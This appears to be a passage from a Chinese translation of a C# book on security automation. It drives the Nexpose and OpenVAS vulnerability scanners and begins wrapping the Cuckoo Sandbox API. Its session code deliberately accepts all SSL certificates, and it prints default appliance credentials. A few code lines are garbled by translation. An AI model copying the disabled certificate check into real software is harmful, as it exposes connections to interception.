0 个目录 362,552,098,816 字节可用
C:\Users\example\Documents\ch6\bin\Debug> 示例 6-20:运行扫描并将报告写入用户的桌面
请注意,在示例 6-20 的输出中,Nexpose 至少返回了三种扫描状态,它们是扫描的不同阶段:运行中 ➊、集成中 ➋ 和完成 ➌。扫描完成后,我们的 PDF 报告将写入用户的桌面 ➍,如预期的那样。你可以用你喜欢的 PDF 阅读器打开这份新报告,看看 Nexpose 可能发现了哪些漏洞。
结论
在本章中,你学习了如何使用漏洞扫描器 Nexpose 来报告网络上给定主机的漏洞。你还了解了 Nexpose 如何存储关于网络中计算机的信息,例如站点和资产。你构建了一些类,以便使用基础的 C# 库通过编程方式驱动 Nexpose,并学习了如何使用 NexposeSession 进行身份验证,向 Nexpose 发送和接收 XML 数据。你还看到了 NexposeManager 类如何封装 API 中的功能,包括创建和删除站点的能力。最后,你能够驱动 Nexpose 扫描网络资产,然后创建一个漂亮的 PDF 报告,展示扫描结果。
Nexpose 的功能远远超出了简单的漏洞管理。扩展你的库以覆盖这些高级功能应该相对简单,并且是一个熟悉 Nexpose 提供的其他强大功能的绝佳方式,例如自定义扫描策略、认证漏洞扫描和更多可定制的报告。一个先进、现代、成熟的企业网络需要细粒度的系统控制,使组织能够将安全集成到业务工作流中。Nexpose 提供了这一切,是作为 IT 管理员或系统管理员必备的强大工具。
第七章
7
自动化 OpenVAS

在本章中,我将向你介绍 OpenVAS 和 OpenVAS 管理协议(OMP),这是一种免费的开源漏洞管理系统,源自 Nessus 最后的开源版本。第五章 和 第六章 中,我们分别讨论了自动化专有漏洞扫描器 Nessus 和 Nexpose。虽然 OpenVAS 功能类似,但它是你武器库中的另一款强大工具。
我将向你展示如何通过核心的 C# 库和一些自定义类来驱动 OpenVAS 扫描并报告你网络中主机的漏洞。在你读完本章后,你应该能够使用 OpenVAS 和 C# 来评估任何网络连接主机的漏洞。
安装 OpenVAS
安装 OpenVAS 的最简单方法是从 www.openvas.org/ 下载预构建的 OpenVAS 演示虚拟设备。你下载的文件是一个 .ova 文件(开放虚拟化档案),可以在虚拟化工具如 VirtualBox 或 VMware 中运行。先在你的系统上安装 VirtualBox 或 VMware,然后打开下载的 .ova 文件并在你选择的虚拟化工具中运行它。(为了提升性能,建议给 OVA 设备分配至少 4GB 的内存。)虚拟设备的 root 密码是 root。你在用最新漏洞数据更新设备时应使用 root 用户。
登录后,使用 示例 7-1 中显示的命令更新 OpenVAS,以获取最新的漏洞信息。
openvas-nvt-sync
openvas-scapdata-sync
openvas-certdata-sync
openvasmd --update 示例 7-1:用于更新 OpenVAS 的命令
根据你的网络连接,更新可能需要一段时间才能完成。一旦完成,尝试连接到端口 9390 上的 openvasmd 进程,然后运行如示例 7-2 所示的测试命令。
$ openssl s_client <ip 地址>:9390
[...SSL 协商...]
<get_version />
<get_version_response status="200" status_text="OK">
6.0 </get_version_response> 示例 7-2:连接到 openvasmd
如果一切正常,你应该能在输出的末尾看到状态消息中的 OK。
构建类
与 Nexpose API 类似,OpenVAS 通过 XML 格式将数据传输到服务器。为了自动化 OpenVAS 扫描,我们将使用前面章节中讨论的 Session 类和 Manager 类的组合。OpenVASSession 类将负责我们如何与 OpenVAS 通信,并处理认证问题。OpenVASManager 类将封装 API 中的常见功能,使得程序员使用该 API 更加简单。
OpenVASSession 类
我们将使用 OpenVASSession 类与 OpenVAS 进行通信。示例 7-3 展示了构造函数和属性,标志着 OpenVASSession 类的开始。
public class OpenVASSession : IDisposable
{
private SslStream _stream = null;
public OpenVASSession(string user, string pass, string host, int port = ➊9390)
{
this.ServerIPAddress = ➋IPAddress.Parse(host);
this.ServerPort = port;
this.Authenticate(username, password);
}
public string Username { get; set; }
public string Password { get; set; }
public IPAddress ServerIPAddress { get; set; }
public int ServerPort { get; set; }
public SslStream Stream
{
➌get
{
如果 (_stream == null)
GetStream();
return _stream;
}
➍set { _stream = value; }
}
列表 7-3:OpenVASSession 类的构造函数和属性
OpenVASSession 构造函数最多接受四个参数:用于与 OpenVAS 进行身份验证的用户名和密码(在虚拟设备中默认是 admin:admin);要连接的主机;以及可选的连接主机时使用的端口,默认值为 9390 ➊。
我们将主机参数传递给 IPAddress.Parse() ➋,并将结果赋值给 ServerIPAddress 属性。接下来,我们将端口变量的值赋给 ServerPort 属性,并在身份验证成功时将用户名和密码传递给 Authenticate() 方法(如下一节所讨论)。ServerIPAddress 和 ServerPort 属性在构造函数中被赋值,并在类中使用。
Stream 属性使用 get ➌ 检查私有的 _stream 成员变量是否为 null。如果是,它调用 GetStream(),该方法将 _stream 设置为与 OpenVAS 服务器的连接,然后返回 _stream 变量。
与 OpenVAS 服务器进行身份验证
为了尝试与 OpenVAS 服务器进行身份验证,我们发送一个包含用户名和密码的 XML 文档到 OpenVAS,然后读取响应,如 列表 7-4 所示。如果身份验证成功,我们应该能够调用更高权限的命令来指定扫描目标、获取报告等。
public XDocument ➊Authenticate(string username, string password)
{
XDocument authXML = new XDocument(
new XElement("authenticate",
new XElement("credentials",
new XElement("username", ➋username),
new XElement("password", ➌password))));
XDocument response = this.➍ExecuteCommand(authXML);
如果 response.Root.Attribute(➎"status").Value != "200"
throw new Exception("身份验证失败");
this.Username = username;
this.Password = password;
return response;
}
列表 7-4:OpenVASSession 构造函数的 Authenticate() 方法
Authenticate() 方法 ➊ 首先接受两个参数:用于与 OpenVAS 进行身份验证的用户名和密码。我们创建一个新的身份验证 XML 命令,使用提供的用户名 ➋ 和密码 ➌ 作为凭据;然后我们通过 ExecuteCommand() ➍ 发送身份验证请求,并存储响应,以确保身份验证成功并获取身份验证令牌。
如果服务器返回的根 XML 元素的状态属性 ➎ 为 200,则说明身份验证成功。我们将分配用户名属性、密码属性以及方法的任何参数,然后返回身份验证响应。
创建一个执行 OpenVAS 命令的方法
Listing 7-5 显示了 ExecuteCommand() 方法,它接受一个任意的 OpenVAS 命令,发送到 OpenVAS 并返回结果。
public XDocument ExecuteCommand(XDocument doc)
{
ASCIIEncoding enc = new ASCIIEncoding();
string xml = doc.ToString();
this.Stream.➊Write(enc.GetBytes(xml), 0, xml.Length);
return ReadMessage(this.Stream);
}
Listing 7-5: ExecuteCommand() 方法用于 OpenVAS
为了使用 OpenVAS 管理协议执行命令,我们通过 TCP 套接字发送 XML 到服务器并接收 XML 响应。ExecuteCommand() 方法只接受一个参数:要发送的 XML 文档。我们在 XML 文档上调用 ToString(),保存结果,然后使用 Stream 属性的 Write() 方法 ➊ 将 XML 写入流中。
读取服务器消息
我们使用 Listing 7-6 中显示的 ReadMessage() 方法来读取服务器返回的消息。
private XDocument ReadMessage(SslStream ➊sslStream)
{
using (var stream = new ➋MemoryStream())
{
int bytesRead = 0;
➌do
{
byte[] buffer = new byte[2048];
bytesRead = sslStream.➍Read(buffer, 0, buffer.Length);
stream.Write(buffer, 0, bytesRead);
if (bytesRead < buffer.Length)
{
➎try
{
string xml = System.Text.Encoding.ASCII.GetString(stream.ToArray());
return XDocument.Parse(xml);
}
catch
{
➏continue;
}
}
}
while (bytesRead > 0);
}
return null;
}
Listing 7-6: ReadMessage() 方法用于 OpenVAS
这个方法从 TCP 流中分块读取 XML 文档,并将文档(或 null)返回给调用者。在将 sslStream ➊ 传递给方法后,我们声明一个 MemoryStream ➋,它允许我们动态存储从服务器接收的数据。接着,我们声明一个整数来存储读取的字节数,并使用 do/while 循环 ➌ 来创建一个 2048 字节的缓冲区以读取数据。然后,我们在 SslStream 上调用 Read() ➍ 方法,将缓冲区填充从流中读取的字节数,之后我们使用 Write() 方法将来自 OpenVAS 的数据复制到 MemoryStream 中,以便后续解析成 XML。
如果服务器返回的数据少于缓冲区能够容纳的内容,我们需要检查是否从服务器读取了有效的 XML 文档。为此,我们在 try/catch 块 ➎ 中使用 GetString() 将存储在 MemoryStream 中的字节转换为可解析的字符串,并尝试解析 XML,因为如果 XML 无效,解析将抛出异常。如果没有抛出异常,我们返回 XML 文档。如果抛出异常,我们知道我们还没有读取完流的数据,因此调用 continue ➏ 以读取更多数据。如果我们已经完成了从流中读取字节,但仍未返回有效的 XML 文档,我们返回 null。这是一种防御性措施,以防与 OpenVAS 的通信中断,并且无法读取完整的 API 响应。返回 null 允许我们稍后检查来自 OpenVAS 的响应是否有效,因为只有在无法读取完整的 XML 响应时,才会返回 null。
设置 TCP 流以发送和接收命令
清单 7-7 显示了首先出现在 清单 7-3 中的 GetStream() 方法。它建立了与 OpenVAS 服务器的实际 TCP 连接,我们将使用该连接来发送和接收命令。
private void GetStream()
{
if (_stream == null || !_stream.CanRead)
{
TcpClient client = new ➊TcpClient(this.ServerIPAddress.ToString(), this.ServerPort);
_stream = new ➋SslStream(client.GetStream(), false,
new RemoteCertificateValidationCallback (ValidateServerCertificate),
(sender, targetHost, localCertificates, remoteCertificate, acceptableIssuers) => null);
_stream.➌AuthenticateAsClient("OpenVAS", null, SslProtocols.Tls, false);
}
}
清单 7-7:OpenVASSession 构造函数的 GetStream() 方法
GetStream() 方法为与 OpenVAS 通信时其余类中的其他方法设置了 TCP 流。为此,我们通过将 ServerIPAddress 和 ServerPort 属性传递给 TcpClient 来实例化一个新的 TcpClient ➊,如果流无效。然后我们将流包装在一个不验证 SSL 证书的 SslStream ➋ 中,因为 OpenVAS 使用的 SSL 证书是自签名的,会抛出错误;接着,我们通过调用 AuthenticateAsClient() ➌ 执行 SSL 握手。现在,OpenVAS 服务器的 TCP 流可以被其余方法使用,当我们开始发送命令和接收响应时。
证书验证和垃圾回收
清单 7-8 显示了用于验证 SSL 证书的方法(由于 OpenVAS 默认使用的是自签名的 SSL 证书)并且在完成后清理我们的会话。
private bool ValidateServerCertificate(object sender, X509Certificate certificate,
X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
return ➊true;
}
public void Dispose()
{
if (_stream != null)
➋_stream.Dispose();
}
清单 7-8:ValidateServerCertificate() 和 Dispose() 方法
返回 true ➊ 通常不是一个好的实践,但由于在我们的例子中,OpenVAS 使用的是自签名 SSL 证书,否则该证书无法验证,因此我们必须允许所有证书。与之前的示例一样,我们创建 Dispose() 方法,以便在处理网络或文件流后清理资源。如果 OpenVASSession 类中的流不为 null,我们将释放用于与 OpenVAS 通信的内部流 ➋。
获取 OpenVAS 版本
我们现在可以通过 OpenVAS 启动命令并获取响应,如 Listing 7-9 所示。例如,我们可以运行类似 get_version 的命令,该命令返回 OpenVAS 实例的版本信息。我们稍后会在 OpenVASManager 类中封装类似的功能。
class MainClass
{
public static void Main(string[] args)
{
using (OpenVASSession session = new ➊OpenVASSession("admin", "admin", "192.168.1.19"))
{
XDocument doc = session.➋ExecuteCommand(
XDocument.Parse("<get_version />"));
Console.WriteLine(doc.ToString());
}
}
}
Listing 7-9: Main() 方法驱动 OpenVAS 获取当前版本
我们通过传入用户名、密码和主机来创建一个新的 OpenVASSession ➊。接下来,我们将一个请求 OpenVAS 版本的 XDocument 传递给 ExecuteCommand() ➋,将结果存储在一个新的 XDocument 中,然后将其输出到屏幕上。Listing 7-9 的输出应类似于 Listing 7-10。
<get_version_response status="200" status_text="OK">
6.0 </get_version_response> Listing 7-10: OpenVAS 对 <get_version /> 的响应
OpenVASManager 类
我们将使用 OpenVASManager 类(如 Listing 7-11 中所示)来封装 API 调用,以启动扫描、监控扫描并获取扫描结果。
public class OpenVASManager : IDisposable
{
private OpenVASSession _session;
public OpenVASManager(OpenVASSession ➊session)
{
if (session != null)
_session = session;
else
throw new ArgumentNullException("session");
}
public XDocument ➋GetVersion()
{
return _session.ExecuteCommand(XDocument.Parse("<get_version />"));
}
private void Dispose()
{
_session.Dispose();
}
}
Listing 7-11: OpenVASManager 构造函数和 GetVersion() 方法
OpenVASManager 类的构造函数接受一个参数,即 OpenVASSession ➊。如果传入的 session 参数为 null,我们会抛出异常,因为没有有效的 session 我们无法与 OpenVAS 通信。否则,我们将该 session 分配给一个本地类变量,以便在类中的方法中使用,如 GetVersion()。然后,我们实现 GetVersion() ➋ 方法来获取 OpenVAS 的版本(如 Listing 7-9 中所示)以及 Dispose() 方法。
我们现在可以用 OpenVASManager 替换 Main() 方法中调用 ExecuteCommand() 的代码,以获取 OpenVAS 版本,如 Listing 7-12 所示。
public static void Main(string[] args)
{
using (OpenVASSession session = new OpenVASSession("admin", "admin", "192.168.1.19"))
{
using (OpenVASManager manager = new OpenVASManager(session))
{
XDocument version = manager.GetVersion();
Console.WriteLine(version);
}
}
}
清单 7-12:Main() 方法通过 OpenVASManager 类获取 OpenVAS 版本
程序员不再需要记住获取版本信息所需的 XML,因为它已经通过一个方便的方法调用进行了抽象。我们可以遵循这个模式来调用 API 中的其他命令。
获取扫描配置和创建目标
清单 7-13 展示了我们如何在 OpenVASManager 中添加命令,创建新目标并获取扫描配置。
public XDocument GetScanConfigurations()
{
return _session.ExecuteCommand(XDocument.Parse(➊"<get_configs />"));
}
public XDocument CreateSimpleTarget(string cidrRange, string targetName)
{
XDocument createTargetXML = new XDocument(
new XElement(➋"create_target",
new XElement("name", targetName),
new XElement("hosts", cidrRange)));
return _session.ExecuteCommand(createTargetXML);
}
清单 7-13:OpenVAS GetScanConfigurations() 和 CreateSimpleTarget() 方法
GetScanConfigurations() 方法将 <get_configs /> 命令 ➊ 传递给 OpenVAS 并返回响应。CreateSimpleTarget() 方法接受 IP 地址或 CIDR 范围(例如 192.168.1.0/24)和目标名称作为参数,我们使用这些信息通过 XDocument 和 XElement 构建一个 XML 文档。第一个 XElement 创建一个名为 create_target 的根 XML 节点 ➋。其余的两个包含目标的名称和主机信息。清单 7-14 展示了生成的 XML 文档。
<create_target>
家庭网络
192.168.1.0/24 </create_target> 清单 7-14:OpenVAS create_target 命令 XML
清单 7-15 展示了我们如何创建目标并对其进行扫描,以获取 Discovery 扫描配置,该配置执行基本的端口扫描和其他基本的网络测试。
XDocument target = manager.➊CreateSimpleTarget("192.168.1.31", Guid.NewGuid().ToString());
string targetID = target.Root.Attribute("id").➋Value;
XDocument configs = manager.GetScanConfigurations();
string discoveryConfigID = string.Empty;
foreach (XElement node in configs.Descendants("name"))
{
if (node.Value == ➌"Discovery")
{
discoveryConfigID = node.Parent.Attribute("id").Value;
break;
}
}
Console.➍WriteLine("正在创建目标 " + targetID + " 的扫描,使用的扫描配置是 " +
discoveryConfigID); 清单 7-15:创建 OpenVAS 目标并获取扫描配置 ID
首先,我们通过调用 CreateSimpleTarget() ➊ 来创建一个要扫描的目标,传入要扫描的 IP 地址和一个新的 Guid 作为目标名称。为了自动化,我们不需要目标的可读名称,因此我们只生成一个 Guid 作为名称。
注意
将来,你可能想将目标命名为 Databases 或 Workstations,以便区分网络上的特定机器进行扫描。你也可以指定像这样的可读名称,但每个目标的名称必须是唯一的。)
以下是成功创建目标时响应的样子:<create_target_response status="201" status_text="OK, resource created"
id="254cd3ef-bbe1-4d58-859d-21b8d0c046c6"/> 创建目标后,我们从 XML 响应中获取 id 属性的值 ➋,并将其存储,以便在需要获取扫描状态时使用。接着,我们调用 GetScanConfigurations() 获取所有可用的扫描配置,将它们存储并遍历,找到名称为 Discovery ➌ 的配置。最后,我们使用 WriteLine() ➍ 将一条消息打印到屏幕,告诉用户将使用哪个目标和扫描配置 ID 进行扫描。
创建并启动任务
Listing 7-16 展示了如何使用 OpenVASManager 类创建并启动扫描。
public XDocument ➊CreateSimpleTask(string name, string comment, Guid configID, Guid targetID)
{
XDocument createTaskXML = new XDocument(
new XElement(➋"create_task",
new XElement("name", name),
new XElement("comment", comment),
new XElement("config",
new XAttribute(➌"id", configID.ToString())),
new XElement("target",
new XAttribute("id", targetID.ToString()))));
return _session.ExecuteCommand(createTaskXML);
}
public XDocument ➍StartTask(Guid taskID)
{
XDocument startTaskXML = new XDocument(
new XElement(➎"start_task",
new XAttribute("task_id", taskID.ToString())));
return _session.ExecuteCommand(startTaskXML);
}
Listing 7-16:OpenVAS 方法,用于创建并启动任务
CreateSimpleTask() 方法 ➊ 创建一个带有少量基本信息的新任务。可以创建非常复杂的任务配置。为了进行基本的漏洞扫描,我们构建了一个简单的 XML 文档,根元素是 create_task ➋,并包含一些子元素用于存储配置的相关信息。前两个子元素是任务的名称和注释(或描述)。接下来是扫描配置和目标元素,值作为 id 属性 ➌ 存储。在设置好 XML 后,我们将 create_task 命令发送给 OpenVAS,并返回响应。
StartTask() 方法 ➍ 接受一个参数:要启动的任务 ID。我们首先创建一个名为 start_task ➎ 的 XML 元素,并为其添加 task_id 属性。
Listing 7-17 展示了如何将这两个方法添加到 Main() 中。
XDocument task = manager.CreateSimpleTask(Guid.NewGuid().ToString(),
string.Empty, new Guid(discoveryConfigID), new Guid(targetID));
Guid taskID = new Guid(task.Root.➊Attribute("id").Value);
manager.➋StartTask(taskID); Listing 7-17:创建并启动一个 OpenVAS 任务
要调用 CreateSimpleTask(),我们传入一个新的 Guid 作为任务名称,一个空字符串作为评论,以及扫描配置 ID 和目标 ID 作为参数。我们从返回的 XML 文档的根节点提取 id 属性 ➊,这是任务 ID;然后我们将其传递给 StartTask() ➋ 来启动 OpenVAS 扫描。
监控扫描并获取扫描结果
为了监控扫描,我们实现了 GetTasks() 和 GetTaskResults() 方法,如 列表 7-18 所示。GetTasks() 方法(先实现)返回一个任务及其状态的列表,这样我们就可以监控扫描直到完成。GetTaskResults() 方法返回给定任务的扫描结果,这样我们就能看到 OpenVAS 找到的任何漏洞。
public XDocument GetTasks(Guid? taskID = ➊null)
{
if (taskID != null)
return _session.ExecuteCommand(new XDocument(
new XElement("get_tasks",
new ➋XAttribute("task_id", taskID.ToString()))));
return _session.ExecuteCommand(➌XDocument.Parse("<get_tasks />"));
}
public XDocument GetTaskResults(Guid taskID)
{
XDocument getTaskResultsXML = new XDocument(
new ➍XElement("get_results",
new XAttribute("task_id", taskID.ToString())));
return _session.ExecuteCommand(getTaskResultsXML);
}
列表 7-18:OpenVASManager 方法,用于获取当前任务列表并检索给定任务的结果
GetTasks() 方法有一个单一的可选参数,默认为 null ➊。GetTasks() 方法将返回所有当前任务,或者仅返回单个任务,具体取决于传入的 taskID 参数是否为 null。如果传入的任务 ID 不为 null,我们会创建一个名为 get_tasks 的新的 XML 元素,并为其添加一个 task_id 属性 ➋,该属性为传入的任务 ID;然后我们将 get_tasks 命令发送给 OpenVAS 并返回响应。如果 ID 为 null,我们会使用 XDocument.Parse() 方法 ➌ 创建一个没有特定 ID 的新的 get_tasks 元素,以便获取任务;然后我们执行命令并返回结果。
GetTaskResults() 方法的工作方式与 GetTasks() 类似,不同之处在于它的唯一参数不是可选的。我们使用传入的 ID 作为参数,创建一个带有 task_id 属性的 get_results XML 节点 ➍。将此 XML 节点传递给 ExecuteCommand() 后,我们返回响应。
完成自动化
列表 7-19 显示了我们如何监控扫描并通过我们刚刚实现的方法获取其结果。在驱动 Session/Manager 类的 Main() 方法中,我们可以添加以下代码来完善我们的自动化。
XDocument status = manager.➊GetTasks(taskID);
while (status.➋Descendants("status").First().Value != "Done")
{
Thread.Sleep(5000);
Console.Clear();
string percentComplete = status.➌Descendants("progress").First().Nodes()
.OfType
().First().Value; Console.WriteLine("扫描已完成 " + percentComplete + "%。");
status = manager.➍GetTasks(taskID);
}
XDocument results = manager.➎GetTaskResults(taskID);
Console.WriteLine(results.ToString()); 示例 7-19:监视 OpenVAS 扫描直到完成,然后获取扫描结果并打印
我们通过传入之前保存的任务 ID 调用 GetTasks() ➊,然后将结果保存在 status 变量中。接着,我们使用 LINQ to XML 方法 Descendants() ➋来查看 XML 文档中的状态节点是否等于 Done,这意味着扫描已经完成。如果扫描没有完成,我们调用 Sleep()等待五秒钟,然后清空控制台屏幕。然后,我们使用 Descendants() ➌获取进度节点来获取扫描的完成百分比,打印出该百分比,再次通过 GetTasks() ➍请求 OpenVAS 的当前状态,直到扫描报告完成。
一旦扫描完成,我们通过传入任务 ID 调用 GetTaskResults() ➎,然后保存并打印包含扫描结果的 XML 文档到控制台屏幕。该文档包括一系列有用信息,包括检测到的主机和开放端口、扫描主机上已知的活动服务,以及已知的漏洞,如软件的旧版本。
运行自动化
扫描可能需要一段时间,这取决于运行 OpenVAS 的机器和网络速度。在扫描过程中,我们的自动化将显示一条友好的消息,让用户了解当前扫描的状态。成功的输出应该类似于示例 7-20 中展示的简化报告。
扫描已完成 1%。
扫描已完成 8%。
扫描已完成 8%。
扫描已完成 46%。
扫描已完成 50%。
扫描已完成 58%。
扫描已完成 72%。
扫描已完成 84%。
扫描已完成 94%。
扫描已完成 98%。
<get_results_response status="200" status_text="OK">
admin --省略--
</get_results_response> 示例 7-20:OpenVAS 自动化的示例输出
结论
本章展示了如何使用 C#内置的网络类来自动化 OpenVAS。你学会了如何与 OpenVAS 建立 SSL 连接以及如何使用基于 XML 的 OMP 进行通信。你学会了如何创建扫描目标,检索可用的扫描配置,并启动针对目标的特定扫描。你还学会了如何监视扫描进度并以 XML 报告的形式检索扫描结果。
有了这些基本模块,我们可以开始修复网络中的漏洞,然后运行新的扫描以确保漏洞不再被报告。OpenVAS 扫描器是一个非常强大的工具,我们仅仅是初步了解它。OpenVAS 不断更新漏洞数据,并且可以作为一个有效的漏洞管理解决方案。
下一步,你可能需要考虑管理通过 SSH 进行认证的漏洞扫描凭据,或创建自定义扫描配置以检查特定的策略配置。通过 OpenVAS,这一切都可以实现,甚至更多。
第八章
8
自动化 Cuckoo Sandbox

Cuckoo Sandbox 是一个开源项目,允许你在虚拟机的安全环境中运行恶意软件样本,然后分析并报告恶意软件在虚拟沙箱中的行为,而不必担心恶意软件会感染你的真实机器。Cuckoo Sandbox 是用 Python 编写的,它还提供了一个 REST API,允许程序员使用任何语言来自动化许多 Cuckoo 的功能,例如启动沙箱、运行恶意软件和获取报告。在本章中,我们将使用易于使用的 C# 库和类来完成这一切。但是,在我们开始使用 C# 测试和运行恶意软件样本之前,还需要完成许多工作,比如设置 Cuckoo 使用的虚拟环境。你可以在 www.cuckoosandbox.org/ 找到更多关于 Cuckoo Sandbox 的信息并进行下载。
设置 Cuckoo Sandbox
本章不会介绍如何设置 Cuckoo Sandbox,因为不同操作系统之间的安装步骤差异较大,甚至在使用哪个版本的 Windows 作为虚拟机沙箱时也会有所不同。本章假设你已经正确设置了带有 Windows 客户机的 Cuckoo Sandbox,并且 Cuckoo 已完全功能正常。请确保遵循 Cuckoo Sandbox 官方网站上的说明(docs.cuckoosandbox.org/en/latest/installation/),该网站提供了关于软件安装和配置的最新且详细的文档。
在 Cuckoo Sandbox 附带的 conf/cuckoo.conf 文件中,我建议你在开始使用 API 之前,调整默认的超时配置,使其更短(我将它设置为 15 秒)。这将使测试过程更加简单和快速。在你的 cuckoo.conf 文件中,你会看到底部有一个类似于 Listing 8-1 的部分。
[timeouts]
设置默认的分析超时时间,单位为秒。这个值将会是
用来定义分析将在多少秒后终止,除非
除非在提交时另有说明。
默认 = ➊120
Listing 8-1: cuckoo.conf 文件中的默认超时配置部分
Cuckoo 测试的默认超时设置为 120 秒 ➊。较长的超时可能会让你在调试时变得有些焦急,因为你必须等到超时达到之后才能看到报告,但是将该值设置在 15 到 30 秒之间应该对我们的目的来说足够了。
手动运行 Cuckoo Sandbox API
类似于 Nessus,Cuckoo Sandbox 遵循 REST 模式(如果你需要复习 REST,请参见 第五章 的描述)。然而,Cuckoo Sandbox 的 API 比 Nessus API 简单得多,因为我们只需要与几个 API 端点进行通信。为此,我们将继续使用 session/manager 模式,首先实现 CuckooSession 类,涵盖我们将如何与 Cuckoo Sandbox API 进行通信。在开始编写代码之前,让我们检查一下你是否正确设置了 Cuckoo Sandbox。
启动 API
成功安装 Cuckoo Sandbox 后,你应该能够通过命令 ./cuckoo.py 在本地启动它,如 清单 8-2 所示。如果收到错误信息,请确保你用于测试的虚拟机正在运行。
$ ./cuckoo.py
eeee e e eeee e e eeeee eeeee
8 8 8 8 8 8 8 8 8 88 8 88
8e 8e 8 8e 8eee8e 8 8 8 8
88 88 8 88 88 8 8 8 8 8
88e8 88ee8 88e8 88 8 8eee8 8eee8
Cuckoo Sandbox 2.0-rc2
www.cuckoosandbox.org
版权所有 (c) 2010-2015
检查更新中...
好的!你已经拥有最新版本。
2016-05-19 16:17:06,146 [lib.cuckoo.core.scheduler] 信息:使用 "virtualbox" 作为机器管理器
2016-05-19 16:17:07,484 [lib.cuckoo.core.scheduler] 信息:已加载 1 台机器
2016-05-19 16:17:07,495 [lib.cuckoo.core.scheduler] 信息:等待分析任务...
清单 8-2:启动 Cuckoo Sandbox 管理器
成功启动 Cuckoo 后,应该会显示一个有趣的 ASCII 艺术横幅,随后是一些快速信息,显示已加载了多少虚拟机。启动主 Cuckoo 脚本后,你需要启动我们将要进行通信的 API。这两个 Python 脚本必须同时运行!cuckoo.py Python 脚本是 Cuckoo Sandbox 的引擎。如果我们在没有启动 cuckoo.py 脚本的情况下启动 api.py 脚本,如 清单 8-3 所示,那么我们的 API 请求将不会执行任何操作。为了通过 API 使用 Cuckoo Sandbox,cuckoo.py 和 api.py 必须同时运行。默认情况下,Cuckoo Sandbox API 监听 8090 端口,如 清单 8-3 所示。
$ utils/api.py ➊-H 0.0.0.0
- 正在运行在 ➋http://0.0.0.0:8090/(按 CTRL+C 退出)
清单 8-3:运行 Cuckoo Sandbox 的 HTTP API
要指定监听的 IP 地址(默认是 localhost),你可以通过 utils/api.py 脚本传递 -H 参数 ➊,该参数告诉 API 在监听 API 请求时使用哪个 IP 地址。在此案例中,我们将 0.0.0.0 设置为监听的 IP 地址,这意味着所有网络接口(包括系统的内部和外部 IP 地址)都将有 8090 端口可用进行通信,因为我们使用的是默认端口。Cuckoo API 监听的 URL 在启动后也会打印到屏幕上 ➋。这个 URL 是我们与 API 通信,驱动 Cuckoo Sandbox 进行后续操作的方式。
检查 Cuckoo 的状态
我们可以使用 curl 命令行工具测试 API 是否正确设置,就像我们在前几章中为其他 API 做的一样。在本章后面,我们会发出类似的 API 请求来创建任务,观察任务直到完成,并报告文件以查看它在运行时的行为。但在开始时,列表 8-4 展示了如何使用 curl 通过 HTTP API 以 JSON 格式获取 Cuckoo Sandbox 状态信息。
$ curl http://127.0.0.1:8090/cuckoo/status
{
"cpuload": [
0.0,
0.02,
0.05
],
"diskspace": {
"analyses": {
"free": 342228357120,
"total": 486836101120,
"used": 144607744000
},
"binaries": {
"free": 342228357120,
"total": 486836101120,
"used": 144607744000
}
},
"hostname": "fdsa-E7450",
➊"machines": {
"available": 1,
"total": 1
},
"memory": 82.06295645686164,
➋"tasks": {
"completed": 0,
"pending": 0,
"reported": 3,
"running": 0,
"total": 13
},
➌"version": "2.0-rc2"
}
列表 8-4:使用 curl 通过 HTTP API 获取 Cuckoo Sandbox 状态
状态信息非常有用,详细描述了 Cuckoo Sandbox 系统的多个方面。值得注意的是汇总任务信息➋,其中列出了 Cuckoo 已运行或正在运行的任务数量,按状态分类。任务可能是分析正在运行的文件,或者是打开带有 URL 的网页,尽管本章只会介绍提交文件进行分析。你还可以看到用于分析的虚拟机数量➊和当前 Cuckoo 的版本➌。
很棒,API 已启动并运行!我们稍后会使用相同的状态 API 端点来测试我们编写的代码,并更详细地讨论它返回的 JSON 数据。目前,我们只需要确认 API 已经启动并运行。
创建 CuckooSession 类
现在我们知道 API 工作正常,可以发送 HTTP 请求并获取 JSON 响应,接下来我们可以开始编写代码来以编程方式驱动 Cuckoo Sandbox。一旦构建了基础类,我们就可以提交一个文件进行分析,分析文件运行时的行为并报告结果。我们从 CuckooSession 类开始,代码见列表 8-5。
public class ➊CuckooSession
{
public CuckooSession➋(string host, int port)
{
this.Host = host;
this.Port = port;
}
public string ➌Host { get; set; }
public int ➍Port
列表 8-5:启动 CuckooSession 类
为了简单起见,我们首先创建 CuckooSession 类➊以及 CuckooSession 构造函数。构造函数接受两个参数➋,第一个是要连接的主机,第二个是主机上 API 监听的端口。在构造函数中,传入的两个参数值被分配给相应的属性 Host ➌和 Port ➍,这些属性在构造函数下方定义。接下来,我们需要实现 CuckooSession 类中的可用方法。
编写 ExecuteCommand()方法以处理 HTTP 请求
Cuckoo 期望在 API 请求时收到两种 HTTP 请求:一种是传统的 HTTP 请求,另一种是用于将文件发送到 Cuckoo 进行分析的更复杂的 HTTP 多部分表单请求。我们将实现两个 ExecuteCommand() 方法来涵盖这些请求类型:首先,我们将使用一个简单的 ExecuteCommand() 方法,接受两个参数用于传统请求,然后我们将通过重载它,创建一个接受三个参数用于多部分请求的 ExecuteCommand() 方法。在 C# 中,允许创建具有相同名称但不同参数的方法,也就是方法重载。这是一个典型的例子,展示了在方法重载时的应用场景,而不是使用一个接受可选参数的单一方法,因为尽管方法名相同,但每种请求的方法相对不同。更简单的 ExecuteCommand() 方法在 Listing 8-6 中有详细说明。
public JObject ➊ExecuteCommand(string uri, string method)
{
HttpWebRequest req = (HttpWebRequest)WebRequest
.➋Create("http://" + this.Host + ":" + this.Port + uri);
req.➌Method = method;
string resp = string.Empty;
using (Stream str = req.GetResponse().GetResponseStream())
using (StreamReader rdr = new StreamReader(str))
resp = rdr.➍ReadToEnd();
JObject obj = JObject.➎Parse(resp);
return obj;
}
Listing 8-6: 更简单的 ExecuteCommand() 方法,它仅接受 URI 和 HTTP 方法作为参数
第一个 ExecuteCommand() 方法 ➊ 接受两个参数:请求的 URI 和要使用的 HTTP 方法(如 GET、POST、PUT 等)。在使用 Create() ➋ 构建新的 HTTP 请求并设置请求的 Method 属性 ➌ 后,我们发出 HTTP 请求并读取 ➍ 响应到一个字符串中。最后,我们将返回的字符串解析 ➎ 为 JSON,并返回新的 JSON 对象。
